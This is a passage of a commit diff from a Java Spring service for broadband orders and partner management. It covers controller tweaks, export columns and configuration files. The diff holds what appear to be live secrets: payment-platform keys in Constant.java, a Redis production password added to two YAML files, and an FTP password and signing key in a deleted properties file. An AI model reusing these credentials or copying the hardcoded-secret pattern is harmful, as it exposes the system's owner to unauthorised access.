Wrapper<Teacher> wrapper = new EntityWrapper<>();
wrapper.eq(StringUtils.isNotBlank(stuNumber), "student_number",stuNumber);
List<Teacher> list = teacherMapper.selectList(wrapper);
if(list != null && list.size()>0){
return ResponseData.error("教师工号已存在！");
}
Teacher teacher = new Teacher();
teacher.setStuNumber(stuNumber);
teacher.setStuName(stuName);
try {
teacherMapper.insert(teacher);
}catch (Exception e){
e.printStackTrace();
}
return ResponseData.success();
}
@RequestMapping(value = "deleteData",method = RequestMethod.POST)
public ResponseData<String> deleteData(@RequestParam(name = "id") String id){
if(StringUtils.isBlank(id)){
return ResponseData.error("");
};
Wrapper<Teacher> wrapper = new EntityWrapper<>();
wrapper.eq(StringUtils.isNotBlank(id), "id",id);
try {
teacherMapper.delete(wrapper);
}catch (Exception e){
e.printStackTrace();
}
return ResponseData.success();
}
}
service-manager/src/main/java/com/winsun/controller/UserDeployController.java
......@@ -164,7 +164,7 @@ public class UserDeployController extends BaseController {
/**
* 锁定账户
* @param userId
* @return
* @returnunlock
*/
@Permission(menuname = "锁定用户", value = "lockUser", method = RequestMethod.POST)
public ResponseData<String> lockUser(String userId) {
......
service-manager/src/main/java/com/winsun/controller/hhrUserController.java
......@@ -149,7 +149,9 @@ public class hhrUserController extends BaseController {
/**
* 更新销售县分
* @param salesList
* @param id
* @param salesSubst
* @param salesSchool
* @return
*/
@Permission(menuname = "更新销售县分", value = "updateSalesList", method = RequestMethod.POST)
......@@ -169,7 +171,7 @@ public class hhrUserController extends BaseController {
salesList.setSalesSubst(salesSubst);
salesList.setSalesSchool(salesSchool);
salesListMapper.updateById(salesList);
return ResponseData.success(null, "更新成功");
return ResponseData.success("更新成功");
}catch(Exception e) {
e.printStackTrace();
return ResponseData.error("更新失败");
......
service-manager/src/main/java/com/winsun/service/impl/ExportExcelServiceImpl.java
......@@ -46,7 +46,7 @@ public class ExportExcelServiceImpl implements ExportExcelService {
try {
fileInputStream.close();
} catch (Exception e){
e.printStackTrace();
}
}
if(in != null) {
......
service-manager/src/main/java/com/winsun/utils/Constant.java
......@@ -16,24 +16,24 @@ public class Constant {
/* 默认一页显示10条数据 */
public final static Integer PAGENUM = 2;
/* 默认第一页 */
public final static Integer FROMPAGE = 0;
/*用户状态*/
public final static String USERQIDONG = "1";//启用
public final static String USERJINYONG = "0";//禁用
/*支付参数*/
public final static String CLIENTNUMBER = "xyzxyql"; //商户标识，由穗易付平台统一分配
public final static String KEY = "E805F0305C455BA7C5BAE3796C6500BD"; //商户标识，由穗易付平台统一分配
public final static String key_VALUE = "E805F0305C455BA7C5BAE3796C6500BD"; //商户标识，由穗易付平台统一分配
public final static String USERNAME = "apitest"; //智能平台提供测试的账号
public final static String USERNAMEKEY = "46b97294d4dac3f62ee42f3ab2804f68"; //智能平台提供的测试key
public final static String ZHENGSHIAUCCON = "ruany"; //智能平台提供的正式账号
public final static String ZHANGSHIKEY = "3df143292455bfea88bc613c53004d36"; //智能平台提供的正式key
public final static String ZHANGSHIKEY = "3df143292455bfea88bc613c53004d36"; //智能平台提供的正式key
// public final static String ZHENGSHIAUCCON = "xiaoykd"; //智能平台提供的正式账号
// public final static String ZHANGSHIKEY = "d345040accff0421d03f760a03e5cbd9"; //智能平台提供的正式key
public final static String ZHANGSHIURL = "https://ismart.mini189.cn/api/"; //智能平台提供的正式key
public final static String ZHANGSHIURL = "https://icloud.mini189.cn/api/"; //智能平台提供的正式key
public final static String PRODUCTCATEGORY = "单宽带"; //只能平台提供的key
// public final static String TOMCATURL = "http://183.57.78.132:8080"; //Linux外网服务器地址
// public final static String INTRANETURL = "http://10.3.1.21:8080"; //Linux内网服务器地址
......@@ -56,7 +56,7 @@ public class Constant {
public final static String IMGBDURL = "/static/images/temp/";//图片存放位置
public final static String KDIMGBDURL = "/static/images/kuandai/";//图片存放位置
public final static String ORDERSTATUS1 = "1"; // 待提交
public final static String ORDERSTATUS2 = "2"; // 待受理
public final static String ORDERSTATUS3 = "3"; // 受理成功【待收费】
......@@ -65,7 +65,7 @@ public class Constant {
public final static String ORDERSTATUS9 = "9"; // 已收费【待竣工】
public final static String ORDERSTATUS10 = "10"; // 受理异常
public final static String ORDERSTATUS100= "100"; // 未支付
public final static String ROLE1 = "1"; // 用户权限：1管理员 2测试人员 3工作人员 4学校人员
public final static String ROLE2 = "2"; // 用户权限：1管理员 2测试人员 3工作人员 4学校人员
public final static String ROLE3 = "3"; // 用户权限：1管理员 2测试人员 3工作人员 4学校人员
......
service-manager/src/main/resources/application-prod.yml
......@@ -108,7 +108,7 @@ spring:
database: 0
host: localhost
port: 6379
password:
password: hniPdaqs4$8HH8m6KTP
lettuce:
pool:
max-active: -1
......@@ -187,4 +187,4 @@ management:
endpoints:
web:
exposure:
include: bus-refresh
\ No newline at end of file
include: bus-refresh
service-manager/src/main/resources/txtfiledetail.properties deleted 100644 → 0
#############################################################################
#ػFTP
#
ftp_host=127.0.0.1
ftp_port=21
ftp_username=root
ftp_password=qUDZj/w2Rus=
ftp_sys=E:/FTP
hhr_img=/datas/apps/web/tomcats/apache-tomcat-7.0.100-hhr/hhrphoto
#hhr_img=D:/a
sign_img=/datas/apps/web/tomcats/apache-tomcat-7.0.100-hhr/hhr-sign-img
#sign_img=D:/a
yrym_sign=rQXPSHvWvHasj17#5L70ux3KvlWNqoVQ
task/src/main/java/com/winsun/service/ExportService.java
......@@ -5,9 +5,12 @@ import com.baomidou.mybatisplus.mapper.EntityWrapper;
import com.winsun.auth.core.base.controller.BaseController;
import com.winsun.bean.ExportExcel;
import com.winsun.bean.Order;
import com.winsun.bean.School;
import com.winsun.constant.FilePath;
import com.winsun.constant.UserType;
import com.winsun.mapper.ExportExcelMapper;
import com.winsun.mapper.OrderMapper;
import com.winsun.mapper.SchoolMapper;
import lombok.extern.slf4j.Slf4j;
import org.apache.commons.lang3.StringUtils;
import org.apache.poi.xssf.usermodel.XSSFCell;
......@@ -36,6 +39,9 @@ public class ExportService extends BaseController {
private OrderMapper orderMapper;
@Autowired
private SchoolMapper schoolMapper;
private ExportExcelMapper exportExcelMapper;
@Autowired
......@@ -109,6 +115,7 @@ public class ExportService extends BaseController {
EntityWrapper<Order> wrapper = new EntityWrapper();
wrapper.notIn("user_type", "3,5,9,10");
wrapper.ge(StringUtils.isNotBlank(createTimeStart), "create_time", createTimeStart);
wrapper.le(StringUtils.isNotBlank(createTimeEnd), "create_time", createTimeEnd);
wrapper.ge(StringUtils.isNotBlank(successTimeStart), "success_time", successTimeStart);
......@@ -137,11 +144,15 @@ public class ExportService extends BaseController {
tops.add("合伙人手机");
tops.add("现有套餐");
tops.add("升级套餐");
tops.add("创建时间");
tops.add("受理时间");
tops.add("揽装人");
tops.add("揽装工号");
tops.add("订单状态");
tops.add("订单类型");
tops.add("地区");
tops.add("地址");
tops.add("学生证审核状态");
// tops.add("地区");
// tops.add("地址");
// tops.add("学生证审核状态");
List<String> columns = new ArrayList<>();
columns.add("customer_name");
columns.add("order_number");
......@@ -153,11 +164,15 @@ public class ExportService extends BaseController {
columns.add("hehuoren_phone");
columns.add("now_package");
columns.add("business_package");
columns.add("create_time");
columns.add("accept_date");
columns.add("lz_user");
columns.add("lzgh");
columns.add("order_status");
columns.add("user_type");
columns.add("site");
columns.add("address");
columns.add("student_card_checkStatus");
// columns.add("site");
// columns.add("address");
// columns.add("student_card_checkStatus");
SimpleDateFormat format = new SimpleDateFormat("yyyyMMdd");
String formatPath = format.format(new Date());
String filePath = FilePath.IMPORTPATH.getValue()+formatPath;
......@@ -192,14 +207,22 @@ public class ExportService extends BaseController {
sheet.setColumnWidth(13, 6500);
sheet.setColumnWidth(14, 6500);
sheet.setColumnWidth(15, 6500);
sheet.setColumnWidth(16, 6500);
//第一行字段名称
tops.forEach(column -> {
XSSFCell cell = row.createCell(Math.max(row.getLastCellNum(), 0));
cell.setCellValue(column);
});
//数据
School school = new School();
int rowIndex = row.getRowNum();
for (Map<String, Object> maps : Orders) {
String schoolId = schoolMapper.selectSchoolIdByUserId(maps.get("hehuoren_id").toString());
school = schoolMapper.selectById(schoolId);
maps.put("lz_user",school.getLzUser());
maps.put("lzgh",school.getLzgh());
String userTypeSrt = UserType.findById(maps.get("user_type").toString()).getName();
maps.put("user_type",userTypeSrt);
final XSSFRow rowdata = sheet.createRow(++rowIndex);
for (String column : columns) {
XSSFCell cell = rowdata.createCell(Math.max(rowdata.getLastCellNum(), 0));
......
task/src/main/resources/application-prod.yml
......@@ -109,7 +109,7 @@ spring:
database: 0
host: localhost
port: 6379
password:
password: hniPdaqs4$8HH8m6KTP
lettuce:
pool:
max-active: -1
......@@ -180,4 +180,4 @@ management:
endpoints:
web:
exposure:
include: bus-refresh
\ No newline at end of file
include: bus-refresh
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment